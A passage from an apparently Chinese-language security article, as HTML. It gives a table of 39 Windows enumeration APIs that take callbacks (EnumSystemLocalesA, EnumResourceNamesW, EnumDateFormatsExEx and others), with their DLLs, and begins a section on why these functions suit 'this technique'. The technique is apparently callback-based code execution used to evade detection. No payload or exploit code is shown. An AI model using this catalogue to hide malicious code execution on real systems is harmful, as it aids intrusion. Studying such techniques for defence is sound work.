leaf="">EnumSystemLanguageGroupsA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">4</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLanguageGroupsW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">5</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumLanguageGroupLocalesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">6</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumLanguageGroupLocalesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceTypesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">8</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceTypesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">9</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceTypesExA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">10</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceTypesExW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">11</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceNamesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">12</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceNamesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">13</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceNamesExA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">14</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceNamesExW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">15</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceLanguagesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">16</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceLanguagesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">17</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceLanguagesExA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">18</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceLanguagesExW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">19</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumCalendarInfoA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">20</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumCalendarInfoW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">21</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumCalendarInfoExA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">22</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumCalendarInfoExW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">23</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumCalendarInfoExEx</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">24</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDateFormatsA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">25</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDateFormatsW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">26</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDateFormatsExA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">27</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDateFormatsExW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">28</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDateFormatsExEx</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">29</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemCodePagesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">30</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemCodePagesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">31</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemGeoID</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">32</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemGeoNames</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">33</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">34</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">35</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">36</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumTimeFormatsA</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">37</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumTimeFormatsW</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">38</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumTimeFormatsEx</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernel32 / kernelbase</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">39</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InitOnceExecuteOnce</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">kernelbase</span></p></td></tr></tbody></table><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7.2 这些函数为何有效</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些函数共享一个使它们非常适合此技术的特性：当回调返回 0 时它们停止枚举。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 